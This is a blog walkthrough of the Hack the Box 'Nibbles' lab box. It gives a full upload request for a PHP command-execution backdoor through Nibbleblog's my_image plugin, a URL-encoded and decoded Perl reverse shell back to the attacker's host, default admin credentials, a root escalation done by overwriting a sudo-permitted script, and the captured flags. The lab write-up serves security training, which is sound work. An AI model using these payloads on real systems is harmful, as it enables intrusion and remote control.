Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I recently solved the Hack the Box Nibbles box and wanted to share my walkthrough.
If you are not familiar with Hack the Box, it is an online set of pentesting labs. There are a few different boxes and tiers, but I got access to a dedicated lab from some Faraday training.
I’ve never been in this lab before, but I’ve heard a lot of good things about it.
HtB reminds me of an online VulnHub, so hopefully I’ll be able to solve a few more boxes during my 30-day access.
First, I found that port 80 was open on my target at http://10.10.10.75/.
In the source code of the page, I found a comment referencing a nibbleblog directory.
<!-- /nibbleblog/ directory. Nothing interesting here! -->
When I visited the http://10.10.10.75/nibbleblog/ link, it brought me to the home page for a nibbleblog.
With a bit of research and searching, I found where the admin page could be found and some potential default credentials.
admin // nibbles
I visited the admin page at http://10.10.10.75/nibbleblog/admin.php and was able to login.
With access to the admin panel, it was time to get a shell on the box.
I found an exploit and the actual write-up that looked perfect for this challenge.
First, I uploaded my PHP shell to the my_image plugin.
POST /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1
Host: 10.10.10.75
Content-Length: 1241
Cache-Control: max-age=0
Origin: http://10.10.10.75
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2nivcPbQVLdlnh6l
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="plugin"
my_image
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="title"
My image
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="position"
4
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="caption"
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image"; filename="Simple-Backdoor-One-Liner.php"
Content-Type: text/php
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_resize"
1
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_width"
230
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_height"
200
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_option"
auto
------WebKitFormBoundary2nivcPbQVLdlnh6l--
Next, I sent a request to the newly uploaded image.
GET /nibbleblog/content/private/plugins/my_image/image.php?cmd=%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%30%2e%31%30%2e%31%34%2e%32%22%3b%24%70%3d%34%34%34%34%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%22%29%3b%7d%3b%27 HTTP/1.1
Host: 10.10.10.75
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close
If you can’t tell from the URL encoding, this is a basic Perl reverse shell.
perl -e 'use Socket;$i="10.10.14.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
On my attacker box, I was able to catch the shell, and obtain the user level flag!
root@kali:~/HtB/Nibbles# nc -lvp 4444 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) $ cd /home/nibbler $ ls -al total 20 drwxr-xr-x 3 nibbler nibbler 4096 Dec 29 2017 . drwxr-xr-x 3 root root 4096 Dec 10 2017 .. -rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history drwxrwxr-x 2 nibbler nibbler 4096 Dec 10 2017 .nano -r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip -r-------- 1 nibbler nibbler 33 Dec 10 2017 user.txt $ cat user.txt b02ff32bb332deba49eeaed21152c8d8
Note: in addition to just guessing that the username was admin, I could have visited the http://10.10.10.75/nibbleblog/content/private/users.xml page.
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1576785626</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.14.2">
<date type="integer">1576784799</date>
<fail_count type="integer">2</fail_count>
</blacklist>
</users>
With user level privileges, it was time to escalate to root.
First, I checked out my sudo privileges. As you can see, I had access to run one shell script in my home directory.
$ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
After unzipping that personal.zip archive from earlier, I looked at the monitor.sh script.
#################################################################################################### # Tecmint_monitor.sh # # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ # # If any bug, report us in the link below # # Free to use/edit/distribute the code below by # # giving proper credit to Tecmint.com and Author # # # #################################################################################################### #! /bin/bash # unset any variable which system may be using # clear the screen clear unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage while getopts iv name do case $name in i)iopt=1;; v)vopt=1;; *)echo "Invalid arg";; esac done if [[ ! -z $iopt ]] then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname) su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed" } fi if [[ ! -z $vopt ]] then { echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License" } fi if [[ $# -eq 0 ]] then { # Define Variable tecreset tecreset=$(tput sgr0) # Check if connected to Internet or not ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected" # Check OS Type os=$(uname -o) echo -e '\E[32m'"Operating System Type :" $tecreset $os # Check OS Release Version and Name cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\" echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\" # Check Architecture architecture=$(uname -m) echo -e '\E[32m'"Architecture :" $tecreset $architecture # Check Kernel Release kernelrelease=$(uname -r) echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease # Check hostname echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME # Check Internal IP internalip=$(hostname -I) echo -e '\E[32m'"Internal IP :" $tecreset $internalip # Check External IP externalip=$(curl -s ipecho.net/plain;echo) echo -e '\E[32m'"External IP : $tecreset "$externalip # Check DNS nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}') echo -e '\E[32m'"Name Servers :" $tecreset $nameservers # Check Logged In Users who>/tmp/who echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who # Check RAM and SWAP Usages free -h | grep -v + > /tmp/ramcache echo -e '\E[32m'"Ram Usages :" $tecreset cat /tmp/ramcache | grep -v "Swap" echo -e '\E[32m'"Swap Usages :" $tecreset cat /tmp/ramcache | grep -v "Mem" # Check Disk Usages df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage echo -e '\E[32m'"Disk Usages :" $tecreset cat /tmp/diskusage # Check Load Average loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}') echo -e '\E[32m'"Load Average :" $tecreset $loadaverage # Check System Uptime tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,) echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime # Unset Variables unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage # Remove Temporary Files rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage } fi shift $(($OPTIND -1))
When nothing jumped out at me as vulnerable, I also looked at the permissions. Since I could overwrite the monitor.sh script, I created a backup, and wrote a new one that would execute /bin/bash.
$ ls -al total 12 drwxr-xr-x 2 nibbler nibbler 4096 Dec 10 2017 . drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 .. -rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh $ cp monitor.sh monitor_bak.sh $ echo '/bin/bash' > monitor.sh
When I executed the new monitor.sh script using sudo, I successfully escalated to root!
$ sudo ./monitor.sh id sudo: unable to resolve host Nibbles: Connection timed out uid=0(root) gid=0(root) groups=0(root)
And, as root, I was able to obtain the second flag on the box.
cat /root/root.txt b6d745c0dfb6457c55591efc898ef88c
This was one of the simpler boxes based on both my experience, as well as the user voting. That said, I’m glad that I got to try it, and was impressed with the HtB UI and infrastructure.
I’m hoping to knock out a few more boxes during my lab access, so stay tuned.
If you have any suggestions for interesting boxes, or ones that would make a good write-up, then let me know.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.